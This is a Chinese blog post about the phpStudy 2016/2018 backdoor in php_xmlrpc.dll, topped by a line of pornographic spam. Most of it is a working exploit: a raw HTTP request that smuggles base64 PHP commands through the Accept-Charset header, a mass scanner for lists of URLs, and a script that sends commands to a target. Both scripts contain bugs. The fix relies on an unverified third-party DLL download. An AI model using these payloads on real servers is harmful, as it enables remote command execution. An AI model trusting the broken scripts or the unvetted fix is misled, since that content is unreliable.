日韩一区,国产二区,欧美三区,日本大片在线看黄a∨免费,欧美人体做爰大胆视频,欧洲美女黑人粗性暴交视频,日,韩,欧美一区二区三区

PhpStudy2016\2018出現(xiàn)后門(mén)漏洞修復(fù)解決辦法

phpstudy介紹

Phpstudy是國(guó)內(nèi)的一款免費(fèi)的PHP調(diào)試環(huán)境的程序集成包,其通過(guò)集成Apache、PHP、MySQL、phpMyAdmin、ZendOPtimizer不同版本軟件于一身,一次性安裝無(wú)需配置即可直接使用,具有PHP環(huán)境調(diào)試和PHP開(kāi)發(fā)功能。由于其免費(fèi)且方便的特性,在國(guó)內(nèi)有著近百萬(wàn)的PHP語(yǔ)言學(xué)習(xí)者和開(kāi)發(fā)者用戶(hù)

后門(mén)事件

2018年12月4日,西湖區(qū)公安分局網(wǎng)警大隊(duì)接報(bào)案,某公司發(fā)現(xiàn)公司內(nèi)有20余臺(tái)計(jì)算機(jī)被執(zhí)行危險(xiǎn)命令,疑似遠(yuǎn)程控制抓取賬號(hào)密碼等計(jì)算機(jī)數(shù)據(jù)回傳大量敏感信息。通過(guò)專(zhuān)業(yè)技術(shù)溯源進(jìn)行分析,查明了數(shù)據(jù)回傳的信息種類(lèi)、原理方法、存儲(chǔ)位置,并聘請(qǐng)了第三方鑒定機(jī)構(gòu)對(duì)軟件中的“后門(mén)”進(jìn)行司法鑒定,鑒定結(jié)果是該“后門(mén)”文件具有控制計(jì)算機(jī)的功能,嫌疑人已通過(guò)該后門(mén)遠(yuǎn)程控制下載運(yùn)行腳本實(shí)現(xiàn)收集用戶(hù)個(gè)人信息。在2019年9月20日,網(wǎng)上爆出phpstudy存在“后門(mén)”。作者隨后發(fā)布了聲明。
于是想起自己安裝過(guò)phpstudy軟件,趕緊查一下是否存在后門(mén)文件,結(jié)果一看真存在后門(mén),學(xué)個(gè)PHP真是不容易,軟件被別人偷偷安裝了后門(mén)。

影響版本

目前已知受影響的phpstudy版本
phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45

后門(mén)檢測(cè)分析

通過(guò)分析,后門(mén)代碼存在于\ext\php_xmlrpc.dll模塊中
phpStudy2016和phpStudy2018自帶的php-5.2.17、php-5.4.45
phpStudy2016路徑
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路徑
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
用notepad打開(kāi)此文件查找@eval,文件存在@eval(%s(‘%s’))證明漏洞存在,如圖:
PhpStudy2016\2018出現(xiàn)后門(mén)漏洞修復(fù)解決辦法插圖

phpstudy 2018漏洞復(fù)現(xiàn)

啟動(dòng)phpstudy,選擇php-5.2.17版本,使用burpsuit抓包(如果是本機(jī)127.0.0.1環(huán)境,代理去掉本地過(guò)濾,否則抓不到包)。

PhpStudy2016\2018出現(xiàn)后門(mén)漏洞修復(fù)解決辦法插圖1

大佬給出的exp如下

GET /index.php HTTP/1.1
Host: yourip.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip,deflate
Accept-Charset:這里就是你要執(zhí)行的代碼命令(經(jīng)過(guò)base64加密)
Accept-Language: zh-CN,zh;q=0.9
Connection: close

我們修改數(shù)據(jù)包查看命令phpinfo();執(zhí)行情況

PhpStudy2016\2018出現(xiàn)后門(mén)漏洞修復(fù)解決辦法插圖2

繼續(xù)修改數(shù)據(jù)包查看命令echo system("net user");執(zhí)行情況

PhpStudy2016\2018出現(xiàn)后門(mén)漏洞修復(fù)解決辦法插圖3

漏洞復(fù)現(xiàn)成功
ps:我復(fù)現(xiàn)的時(shí)候這里有一個(gè)坑,就是直接repeater過(guò)來(lái)的數(shù)據(jù)包Accept-Encoding字段的參數(shù)是gzip, deflate,deflate前面有一個(gè)空格,去掉就可以成功執(zhí)行命令了

后門(mén)檢測(cè)腳本

# !/usr/bin/env python
# -*- coding:utf-8 -*-

import gevent
from gevent import monkey

gevent.monkey.patch_all()
import requests as rq


def file_read(file_name="url.txt"):
    with open(file_name, "r") as f:
        return [i.replace("\n", "") for i in f.readlines()]


def check(url):
    '''
    if "http://" or "https://" not in url:
        url = "https://" + url
    '''
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Sec-Fetch-Site': 'none',
        'accept-charset': 'ZWNobyBlZVN6eHU5Mm5JREFiOw==',  # 輸出 eeSzxu92nIDAb
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
    }
    try:
        res = rq.get(url, headers=headers, timeout=20)
        if res.status_code == 200:
            if res.text.find('eeSzxu92nIDAb'):
                print("[存在漏洞] " + url)
    except:
        print("[超時(shí)] " + url)


if __name__ == '__main__':
    print("phpStudy 批量檢測(cè) (需要 gevent,requests 庫(kù))")
    print("使用之前,請(qǐng)將URL保存為 url.txt 放置此程序同目錄下")
    input("任意按鍵開(kāi)始執(zhí)行..")
    tasks = [gevent.spawn(check, url) for url in file_read()]
    print("正在執(zhí)行...請(qǐng)等候")
    gevent.joinall(tasks)
    wait = input("執(zhí)行完畢 任意鍵退出...")

后門(mén)執(zhí)行腳本

# !/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import base64


def backdoor(url, command="system('calc.exe');"):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Sec-Fetch-Site': 'none',
        'accept-charset': 'c3lzdGVtKCdjYWxjLmV4ZScpOw==',
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
    }
    command = base64.b64encode(command.encode('utf-8'))
    command = str(command, 'utf-8')
    result = requests.get(url, headers=headers, verify=False)
    if result.status_code == "200":
        print("執(zhí)行完成")
    a = input("任意鍵退出...")


url = input("輸入U(xiǎn)RL(例如:http://127.0.0.1:228/xx.php)\n")
command = input("輸入命令 默認(rèn)為 system('calc.exe'); (不想輸入直接回車(chē))\n")
backdoor(url, command)

源自:https://www.cnblogs.com/liliyuanshangcao/p/11584397.html

phpstudy 漏洞復(fù)現(xiàn)

下載:http://downinfo.myhostadmin.net/phpxmlrpc.rar 解壓

復(fù)制文件

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

覆蓋原路徑文件即可。

給TA打賞
共{{data.count}}人
人已打賞
0 條回復(fù) A文章作者 M管理員
    暫無(wú)討論,說(shuō)說(shuō)你的看法吧
熱線電話
QQ客服
  • QQ176363189 點(diǎn)擊這里給我發(fā)消息
旺旺客服
  • 速度網(wǎng)絡(luò)服務(wù)商 點(diǎn)這里給我發(fā)消息
電子郵箱
  • sudu@yunjiasu.cc
微信客服
  • suduwangluo